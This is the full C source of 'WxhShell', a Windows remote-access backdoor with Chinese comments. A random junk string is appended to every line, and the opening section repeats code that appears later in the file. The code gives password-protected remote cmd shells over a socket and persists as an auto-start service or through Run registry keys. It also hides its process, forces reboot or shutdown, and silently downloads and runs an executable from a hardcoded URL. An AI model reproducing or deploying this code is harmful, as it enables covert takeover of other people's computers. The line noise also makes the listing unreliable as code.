    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @8xa"Dc  
    if(Boot(SHUTDOWN)) W! q-WU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.R~Ys*  
    else { u+/1ryp  
    closesocket(wsh); sFWH*k dP?  
    ExitThread(0); CPS1b  
    } t+`>zux5(T  
    break; @2Ca]2,4  
    } 1>e%(k2w%  
  // 获取shell UO{3v ry48  
  case 's': { 64h$sC0z/e  
    CmdShell(wsh); }iCcXZ&5^  
    closesocket(wsh); ?v$kq}Rg  
    ExitThread(0); ~G*eJc0S:  
    break; /QK H30E  
  } &fu J%  
  // 退出 Bfz]PN78.G  
  case 'x': { [_SV$Jz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _/ Uer }  
    CloseIt(wsh); [j^c&}0  
    break; _ BUD~'Q5  
    } qD/X%`>Q  
  // 离开 .B|a.-oA4  
  case 'q': { It8m]FN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Af%#&r7W  
    closesocket(wsh); 8m poY.E4!  
    WSACleanup(); |37y ="  
    exit(1); bTN0n  
    break; bEc @"^)  
        } G'qGsKf\  
  } ;]+p>p-#  
  } V]I+>Zn| 7  
??tNMr5{[  
  // 提示信息 voAen&>!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s@c.nT%BYL  
} ); <Le6  
  } fPLi8`r  
QN$Ac.F  
  return; o#ajBOJ  
} xIh,UW#  
T nG=X:+=  
// shell模块句柄 KeiPo KhZi  
int CmdShell(SOCKET sock) K!a4>Du{  
{ xp<p(y8e1d  
STARTUPINFO si; DeTD.)pS  
ZeroMemory(&si,sizeof(si)); &z"sT*3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |w7D&p$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~'aK[3  
PROCESS_INFORMATION ProcessInfo; :P1/kYg  
char cmdline[]="cmd"; ^w*$qzESy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zc Y* TGx  
  return 0; 21\t2<"  
} !O-9W=NJ  
PC3-X['[  
// 自身启动模式 -6./bB g  
int StartFromService(void) *f4BD||  
{ n :P5m9T  
typedef struct jLLZZPBK  
{ Mm'q4DV^  
  DWORD ExitStatus; Jm(sx'qPx  
  DWORD PebBaseAddress; f<T"# G$5  
  DWORD AffinityMask; #MhieG5  
  DWORD BasePriority; C)|{7W  
  ULONG UniqueProcessId; $6 A91|ZSQ  
  ULONG InheritedFromUniqueProcessId; a6vls]?  
}   PROCESS_BASIC_INFORMATION; |f.R]+cH  
}*ZOD1j  
PROCNTQSIP NtQueryInformationProcess; ,{_;q:  
QTNE.n<?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aC#8%Spj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DKGZm<G>  
9:l@8^_o  
  HANDLE             hProcess; R6KS&Ge_  
  PROCESS_BASIC_INFORMATION pbi; ==z,vxr  
;:)?@IuSy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &InMI#0mV  
  if(NULL == hInst ) return 0; h+rrmC  
e%O]U:Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0,x<@.pW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EN!Q]O|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :',Q6j(s  
7P2?SW^  
  if (!NtQueryInformationProcess) return 0; z2GT9  
MCcWRbE5#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?TXe.h|u  
  if(!hProcess) return 0; V9"?}cR/W;  
%bs~%6)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gqi|k6V/  
MSMgaw?  
  CloseHandle(hProcess); [sT}hYh+  
- #ta/*TT:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8eVQnp*  
if(hProcess==NULL) return 0; HAi'0%"  
cI Byv I-  
HMODULE hMod; l$s8O0-'T  
char procName[255]; F/qx2E$*wo  
unsigned long cbNeeded; =!RlU)w  
Apfs&{Uy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =h{j F7  
X!w&ib-  
  CloseHandle(hProcess); c G`R\ $  
du:%{4  
if(strstr(procName,"services")) return 1; // 以服务启动 GGY WvGE+  
k^ZcgHHgb  
  return 0; // 注册表启动 nd 5w|83  
}  !AGjiP$  
50S >`qi2x  
// 主模块 {U,q!<@mq  
int StartWxhshell(LPSTR lpCmdLine) 5l&9BS&  
{ 4X5Tyv(Dp  
  SOCKET wsl; EZ.|6oug\  
BOOL val=TRUE; y_=},a  
  int port=0; 6tBh`nYB=  
  struct sockaddr_in door; ^?5 [M^  
u{-J?t&`  
  if(wscfg.ws_autoins) Install(); YlY3C  
kh'R/Dt  
port=atoi(lpCmdLine); xfE:r:  
. >{.!a  
if(port<=0) port=wscfg.ws_port; 7Qc 4Oz:t  
!M[a/7x,p  
  WSADATA data; B-<H8[GkG1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PJCRvs|X  
D\Nhq Vw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MMI7FlfY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xyrf$R'  
  door.sin_family = AF_INET; ^,$>z*WQ.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7|"gMw/  
  door.sin_port = htons(port); Psf'#4g  
*)2& gQ&%+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2JV,A Zf  
closesocket(wsl); 6S~l gH:  
return 1; <L72nwcK  
} d`_X$P4y  
^h:%%\2  
  if(listen(wsl,2) == INVALID_SOCKET) { v/4Bt2J  
closesocket(wsl); /puM3ZN  
return 1; 5DHFxym'  
} /kAu&}  
  Wxhshell(wsl); P7||d@VW,  
  WSACleanup(); AvN\^ &G  
V ?10O  
return 0; fFHT`"bD:  
~;f,Ad`Q  
} } h.]sF  
fh1rmet&Ts  
// 以NT服务方式启动 B^z3u=ll  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d0`5zd@S  
{ l~/g^lN  
DWORD   status = 0; k_2W*2'S  
  DWORD   specificError = 0xfffffff; FK$?8Jp  
&s|&cT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?W%9H\;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %U.aRSf/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \eD{bD  
  serviceStatus.dwWin32ExitCode     = 0; oWZbfR9R  
  serviceStatus.dwServiceSpecificExitCode = 0; BtyBZ8P;e  
  serviceStatus.dwCheckPoint       = 0; k-v@sb24_  
  serviceStatus.dwWaitHint       = 0; em87`Hj^lo  
7,sslf2%K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FE)L?  
  if (hServiceStatusHandle==0) return; (5SN=6O  
G|Du/XYh  
status = GetLastError(); M``I5r*cg  
  if (status!=NO_ERROR) Btmv{'T_y@  
{ W6&s_ (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DL^}?Ve  
    serviceStatus.dwCheckPoint       = 0; 6o_t;cpT  
    serviceStatus.dwWaitHint       = 0; TZT1nj"n  
    serviceStatus.dwWin32ExitCode     = status; +,xl_,Z6  
    serviceStatus.dwServiceSpecificExitCode = specificError; |kHPk)}I]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8( ^;h2O!  
    return; >taC_f06  
  } #gw ys  
hJ+;N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a!1\,.  
  serviceStatus.dwCheckPoint       = 0; 7PDz ]i  
  serviceStatus.dwWaitHint       = 0; OZ*V7o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B u ~N)^  
} IT3xX=|b  
H+]>*^'8  
// 处理NT服务事件,比如:启动、停止 +%$'( t s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vGK'U*gGD  
{ `YDe<@6'  
switch(fdwControl) B rGaCja  
{ D (MolsKc?  
case SERVICE_CONTROL_STOP: ?lh `>v  
  serviceStatus.dwWin32ExitCode = 0; 6#/Riu%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L}bS"=B[&W  
  serviceStatus.dwCheckPoint   = 0; , qj  
  serviceStatus.dwWaitHint     = 0; !+?,y/*5(  
  { ,FvBZ.4c3=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IH;+pN  
  } AXV+8$ :R  
  return; : -@o3Syg  
case SERVICE_CONTROL_PAUSE: ^K4#_H#"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r@_`ob RW;  
  break; fIo7R-XP  
case SERVICE_CONTROL_CONTINUE: %)7HBj(*J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NR8YVO)5$  
  break; !5rja-h  
case SERVICE_CONTROL_INTERROGATE: SBnwlM"AN  
  break; :nuMakZZ  
}; Yg5m=Lis  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wG1A]OJl1  
} kI>Iq Q-h  
Fm@G@W7,m  
// 标准应用程序主函数 :%M[|Fj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F2 /-Wk@  
{ Rc2|o.'y  
RCED K\*m  
// 获取操作系统版本 L:HJ:  
OsIsNt=GetOsVer(); U"} ml  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2;@#i*\Y  
7-nz'-'  
  // 从命令行安装 3,@I` M  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zh?1+Sz&  
. Q3GA0O  
  // 下载执行文件 6{rH|Z  
if(wscfg.ws_downexe) { $?^#G8J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?@"B:#l  
  WinExec(wscfg.ws_filenam,SW_HIDE); #GBe=tm\K  
} 8~QEJW$  
&J~vXk: !  
if(!OsIsNt) { YYrXLt:  
// 如果时win9x,隐藏进程并且设置为注册表启动 'H0b1t1S%  
HideProc(); o(iN}.c  
StartWxhshell(lpCmdLine); ;~Eb Q  
} $:I~y| !1  
else @D!KFJ  
  if(StartFromService()) 0ad -4  
  // 以服务方式启动 ;<Dou7=  
  StartServiceCtrlDispatcher(DispatchTable); $gsn@P>"  
else ,nqG* o  
  // 普通方式启动 RW!D! ~  
  StartWxhshell(lpCmdLine); n>F1G MX  
R v6 1*F4  
return 0; YYFJJ,7?  
} tcYbM+4e  
yM%,*VZ  
F&}>2QiL  
uJ<sa;  
=========================================== U[\aj;g)  
YKwej@9,  
J]8nbl  
S$q:hXZ#e  
g>h5NrD N  
jHPJk8@y  
" #/'5N|?  
sidSY8j  
#include <stdio.h> ar.w'z  
#include <string.h> 7dl]f#uZU  
#include <windows.h> JV|GE n\@N  
#include <winsock2.h> ^E&':6(  
#include <winsvc.h> FHVZ/ e  
#include <urlmon.h> @,i_ KN6C  
o/E A%q1  
#pragma comment (lib, "Ws2_32.lib") M IPmsEdBi  
#pragma comment (lib, "urlmon.lib") Fy N@mX  
*bu/Ko]  
#define MAX_USER   100 // 最大客户端连接数 0Zkb}F2-  
#define BUF_SOCK   200 // sock buffer ~8AcW?4Z  
#define KEY_BUFF   255 // 输入 buffer Gd$odKtI  
gTRm  
#define REBOOT     0   // 重启 5?),6o);  
#define SHUTDOWN   1   // 关机 yW.s?3X  
T"Ph@I<  
#define DEF_PORT   5000 // 监听端口 w=Xil  
nA%H`/O{  
#define REG_LEN     16   // 注册表键长度 Q7O8']~n  
#define SVC_LEN     80   // NT服务名长度  ?C   
^g`1SU`  
// 从dll定义API SGn:f>N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JF]HkH_u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {.tUn`j6V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YC\~PVG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X$w ,zb\  
-:(,<Jt<  
// wxhshell配置信息 PdG:aGQ>  
struct WSCFG { ` INcZr"  
  int ws_port;         // 监听端口 |V{'W-` |[  
  char ws_passstr[REG_LEN]; // 口令 2ul!f7#E  
  int ws_autoins;       // 安装标记, 1=yes 0=no \;x+KD  
  char ws_regname[REG_LEN]; // 注册表键名 :70cOt~Z  
  char ws_svcname[REG_LEN]; // 服务名 -fu=RR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SesJg~8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n0#HPI"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;wCp j9hir  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?#^(QR|/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :`6E{yfM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H XF5fs  
"FI]l<G&  
}; ;Dg8>  
SEQ bw](ss  
// default Wxhshell configuration IGs!SXclCs  
struct WSCFG wscfg={DEF_PORT, g9OO#C>  
    "xuhuanlingzhe", HgY"nrogt$  
    1, dE2(PQb*P  
    "Wxhshell", eX$P k:  
    "Wxhshell", `-S6g^Y  
            "WxhShell Service", 0%.l|~CE&  
    "Wrsky Windows CmdShell Service", ZK4/o  
    "Please Input Your Password: ", jvn:W{'Q  
  1, %76N$`{u  
  "http://www.wrsky.com/wxhshell.exe", n\ aG@X%oq  
  "Wxhshell.exe" dL5u-<y&  
    }; ; 1K[N0xE  
'bj$ZM9  
// 消息定义模块 OpmI" 4{+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8E{<t}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @%@uZqQ4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;cIs$  
char *msg_ws_ext="\n\rExit."; ;Ad$Q9)EE  
char *msg_ws_end="\n\rQuit."; hp6S *d  
char *msg_ws_boot="\n\rReboot..."; /m%Y.:g  
char *msg_ws_poff="\n\rShutdown..."; 1cWUPVQ  
char *msg_ws_down="\n\rSave to "; jLc4D'  
XPE{]4 g  
char *msg_ws_err="\n\rErr!"; ?fcQd6-}  
char *msg_ws_ok="\n\rOK!"; 5'gV_U  
4' bup h1(  
char ExeFile[MAX_PATH]; y)?Sn  
int nUser = 0; 0}jB/Z_T  
HANDLE handles[MAX_USER]; DWZ!B7Ts  
int OsIsNt; q?'*T?|  
!Y/$I?13Z  
SERVICE_STATUS       serviceStatus; !q!.OQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =rcqYPul0  
O#fGHI<43[  
// 函数声明 X2!vC!4P?L  
int Install(void); 5F$ elW  
int Uninstall(void); # (B <n  
int DownloadFile(char *sURL, SOCKET wsh); GQO}E@W6C  
int Boot(int flag); .0;Z:x_3  
void HideProc(void); MHJH@$|]  
int GetOsVer(void); JSQNx2VqQ  
int Wxhshell(SOCKET wsl); VqLqj$P  
void TalkWithClient(void *cs); ;_)&#X,?(  
int CmdShell(SOCKET sock); #:v}d+  
int StartFromService(void); JX@/rXFY}  
int StartWxhshell(LPSTR lpCmdLine); FS30RP3 `/  
%g}ri8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PvX>+y5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sF}T9 Ue  
P#bZtWx'<N  
// 数据结构和表定义 Jw?J(ig^  
SERVICE_TABLE_ENTRY DispatchTable[] = 85YE6^y  
{ Au08k}h<G  
{wscfg.ws_svcname, NTServiceMain}, GB Ia Ul  
{NULL, NULL} <7cm[  
}; !lp *0h(7  
Y ## ftQ  
// 自我安装 Oe=7z'o  
int Install(void) {j.5!Nj]B  
{ >8+:{NW  
  char svExeFile[MAX_PATH]; vL(7|K  
  HKEY key; J@w Q3#5a  
  strcpy(svExeFile,ExeFile); eS9uKb5n(  
` WIv|S  
// 如果是win9x系统,修改注册表设为自启动 }8Tr M0q8  
if(!OsIsNt) { .~qu,q7k~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zoh[tO   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k2o98bK&;  
  RegCloseKey(key); Q.Tn"rE|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8R}CvzI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NL%5'8F>,  
  RegCloseKey(key); FP=%e]vJ  
  return 0; sA=WU(4^  
    } 4JSf t t  
  } tWy0% -  
} -v#0.3zm  
else { -R@mnG 5  
SbI %|  
// 如果是NT以上系统,安装为系统服务 rAq2   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p5&:>>  
if (schSCManager!=0) +m kub}<a  
{ (mIw3d8Tz  
  SC_HANDLE schService = CreateService AdDlS~\?  
  ( 'H- : >'k  
  schSCManager, CEjMHP$=  
  wscfg.ws_svcname, fvg jqiT  
  wscfg.ws_svcdisp, M q;m+{B  
  SERVICE_ALL_ACCESS, uuW._$.A>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E4~k)4R  
  SERVICE_AUTO_START, WrBiAh,  
  SERVICE_ERROR_NORMAL, "b5:6\  
  svExeFile, "HSAwe`5jU  
  NULL, A46z2  
  NULL, [`^5Zb  
  NULL, '=}F}[d"kk  
  NULL, X8aNl"x  
  NULL v1wMXOR  
  ); !2>MaV1,  
  if (schService!=0) ^3?]S{1/#  
  { /ghXI"ChI  
  CloseServiceHandle(schService); +HvEiY  
  CloseServiceHandle(schSCManager); ^6tGj+D9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :=!?W^J  
  strcat(svExeFile,wscfg.ws_svcname); x TEDC,B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F3j#NCuO=z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /f2HZfj  
  RegCloseKey(key); CU'$JF  
  return 0; [;yEG$)K  
    } bC{1LY0  
  } r kOLTi[$  
  CloseServiceHandle(schSCManager); 1,q&A RTS  
} jA9&hbQuL  
} ak]:ir`o  
ea!_/Y  
return 1; ,q$'hYTaJ  
} d*;wHA,}F  
x%HX0= (  
// 自我卸载 CPGiKE  
int Uninstall(void) 5lehASBz  
{ Fy_D[g  
  HKEY key; ;^VLx)q  
vqDd][n  
if(!OsIsNt) { ";\na!MT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &0A^_Z .nA  
  RegDeleteValue(key,wscfg.ws_regname); z.EpRJn  
  RegCloseKey(key); ZdQt!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,kiyx h^  
  RegDeleteValue(key,wscfg.ws_regname); U'8+YAgc  
  RegCloseKey(key); 4 0as7.q  
  return 0; 6S*L[zBnA\  
  } i!5zHn  
} CsfGjqpf  
} 8bT]NvCA  
else { Hxe!68{aR  
dJ~AMol  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O~Eju  
if (schSCManager!=0) ? I7}4i7  
{ .URCuB\{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -'ff0l  
  if (schService!=0) G 92\` Q  
  { aYc*v5Q N3  
  if(DeleteService(schService)!=0) { >drG,v0qh  
  CloseServiceHandle(schService); }',/~T6  
  CloseServiceHandle(schSCManager); "`;$wA  
  return 0;  vV5dW  
  } $mf Z{  
  CloseServiceHandle(schService); `a *_b9  
  } 36ygI0V_  
  CloseServiceHandle(schSCManager); Q7uhz5oZ  
} ;A^Ii>`  
} d~#>.$Uu  
$J]VY;C!  
return 1; ,ru2C_LQ  
} \C<|yD  
T\Zf`.mt  
// 从指定url下载文件 |^: A,%>  
int DownloadFile(char *sURL, SOCKET wsh) l\+^.ezD  
{ R'M=`33M  
  HRESULT hr; Y|%s =0M  
char seps[]= "/"; F\LAw#IJ  
char *token; =QG@{?JTl  
char *file; )?es3Ehqq  
char myURL[MAX_PATH]; jhU'UAn  
char myFILE[MAX_PATH]; Vqr#%. N  
`x b\)  
strcpy(myURL,sURL); 4}C^s\?z  
  token=strtok(myURL,seps); ,|:TML  
  while(token!=NULL) `v;9!ReZV  
  { C%#%_ "N  
    file=token; zvJQ@i"Z  
  token=strtok(NULL,seps); Yi?X|"\`  
  } >J4Tk1//b  
ddR*&.Y!a  
GetCurrentDirectory(MAX_PATH,myFILE); \q2:1X |  
strcat(myFILE, "\\"); @D$^- S6  
strcat(myFILE, file); 9@'^}c#  
  send(wsh,myFILE,strlen(myFILE),0); D}.Pk>5  
send(wsh,"...",3,0); )w3?o#@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hn-+]Y:  
  if(hr==S_OK) J/OG\}  
return 0; .K I6<k/  
else "}"hQ.kAz  
return 1; _c[Bjip  
Wd9y8z;  
} OPi><8x  
2L\}  
// 系统电源模块 t(d$v_*y51  
int Boot(int flag) g7Xjo )  
{ DcjF $E  
  HANDLE hToken; Q&Q$;s3|Y  
  TOKEN_PRIVILEGES tkp; TU-aL  
. #+N?D<  
  if(OsIsNt) { yH YqJ|t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `;X~$uS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ..Q$q2.  
    tkp.PrivilegeCount = 1; )1E[CIaXK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \W%Aeg*c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cOhx  
if(flag==REBOOT) { ,q[aV 6kO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \&tv *  
  return 0; c4\Nuy  
} 0O@UT1 M;v  
else { idG}p+(;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JI"&3H")g%  
  return 0; c%?31 t  
} hU: 9zLe  
  } A@:h\<  
  else { ->H4!FS  
if(flag==REBOOT) { /RWQ+Zf-Y]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "`va_Mk  
  return 0; [Un~]E.'J  
} roiUVisq*  
else { whoM$  &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *!mT#Vm^  
  return 0; QB3vp4pBg@  
} =x_~7 Xc{  
} rzl0*CR  
x-hr64WFK  
return 1;  /y2)<{{I  
} p'@| O q&  
Y! 8 I  
// win9x进程隐藏模块 CO%o.j=1  
void HideProc(void) utH/E7^8  
{ F=T};b  
( vO\h8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @^O+ulLJ,]  
  if ( hKernel != NULL ) }KEL{VUX  
  { j@ehcK9|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `<cn b!]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [wLK*9@&  
    FreeLibrary(hKernel); S)n+E\c  
  } d9qA\ [  
a;GuFnfn,  
return; VM.4w.})_E  
} k'(d$;Jgr  
&"_5?7_N  
// 获取操作系统版本 {jK:hQX  
int GetOsVer(void) ;$il_xA)\>  
{ aAT!$0H  
  OSVERSIONINFO winfo; CC,f*I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,\%qERk  
  GetVersionEx(&winfo); { /u}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qD] &&"B  
  return 1; Exu5|0AAE  
  else WVa-0;  
  return 0; 2:8p>^g=  
} CyHaFUbZ  
_NwB7@ e  
// 客户端句柄模块 ~_XK<}SK  
int Wxhshell(SOCKET wsl) h?D>Dfeg%  
{ $vC}Fq  
  SOCKET wsh; ^8z~`he=_J  
  struct sockaddr_in client; l- mt{2  
  DWORD myID; 1xf Pe#  
)XFaVkQ}  
  while(nUser<MAX_USER) I1Jhvyd?$  
{ $FJf8u`  
  int nSize=sizeof(client);  << XWL:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9ZYT#h  
  if(wsh==INVALID_SOCKET) return 1; ntZl(]l  
Y8s.Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K{vn[}  
if(handles[nUser]==0) bE6:pGr  
  closesocket(wsh); W Z_yaG$U  
else &{gD(QG  
  nUser++; l(B(gPvU  
  }  mS]&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u]<_6;_  
+[lv `tr  
  return 0; uE;bNs'  
} o<\u Hr3  
Y}n$s/O:u8  
// 关闭 socket }%}yOLo:  
void CloseIt(SOCKET wsh) T {![a{  
{ W }"n*  
closesocket(wsh); (+iOy/5#u  
nUser--; dEvjB"x  
ExitThread(0); p7Xe[94d^  
} >[qoNy;  
^+MG"|)u~  
// 客户端请求句柄 %b1NlzB+  
void TalkWithClient(void *cs) &BZjQK  
{ .@kjC4m  
0rA&Q0  
  SOCKET wsh=(SOCKET)cs; zHg1K,t:  
  char pwd[SVC_LEN]; "NM SLqO  
  char cmd[KEY_BUFF]; !zW22M  
char chr[1]; Lk>GEi|  
int i,j; a49xf^{1"i  
!5VT[w 1  
  while (nUser < MAX_USER) { IE0hC\C}  
~\yk{1S  
if(wscfg.ws_passstr) { vIQu"J&fE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )wb&kug -  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VJoobu1h  
  //ZeroMemory(pwd,KEY_BUFF); p* Q *}V  
      i=0; XD8Q2un  
  while(i<SVC_LEN) { '[zy%<2sL  
VZ1u/O?ub  
  // 设置超时 fgW>~m.W  
  fd_set FdRead; Yp@i{$IUW  
  struct timeval TimeOut; B*AF8wX|  
  FD_ZERO(&FdRead); ] v8.ym  
  FD_SET(wsh,&FdRead); ~2L]K4Z^  
  TimeOut.tv_sec=8; = ;z42oS  
  TimeOut.tv_usec=0; p|&9#?t4A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cxB{EH,2Um  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |.~0Ulk,  
0Q)m>oL.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?]/"AWUX  
  pwd=chr[0]; 6}"t;4@$x  
  if(chr[0]==0xd || chr[0]==0xa) { Ty5}5)CRZ  
  pwd=0; T[\?fSP  
  break; a j13cC$  
  } wticA#mb  
  i++; Ni Y.OwKr  
    } $OP w$  
6^#@y|.  
  // 如果是非法用户,关闭 socket o'*7I|7a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '>U&B}  
} c>)_I  
_!:*&{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .ZVADVg\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SMMvRF`7  
i!7|YAu  
while(1) { lG/h[  
d>-k-X-[  
  ZeroMemory(cmd,KEY_BUFF); 0)HZ5^J  
L^%jR=  
      // 自动支持客户端 telnet标准   cd3;uB4\,  
  j=0; ZGgM- O1  
  while(j<KEY_BUFF) { L; (J6p]h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T*bBw  
  cmd[j]=chr[0]; T~G~M/  
  if(chr[0]==0xa || chr[0]==0xd) { Ef"M e(  
  cmd[j]=0; /s|4aro  
  break; +)U>mm,  
  } --BS/L-  
  j++; tjWf`#tH>H  
    } oRZ--1oR_  
IM8lA  
  // 下载文件 rI;84=v2&9  
  if(strstr(cmd,"http://")) { %7 [ Z/U=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h$U(1B  
  if(DownloadFile(cmd,wsh)) ;%V)lP"o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sl#2,br  
  else -+,3aK<[  
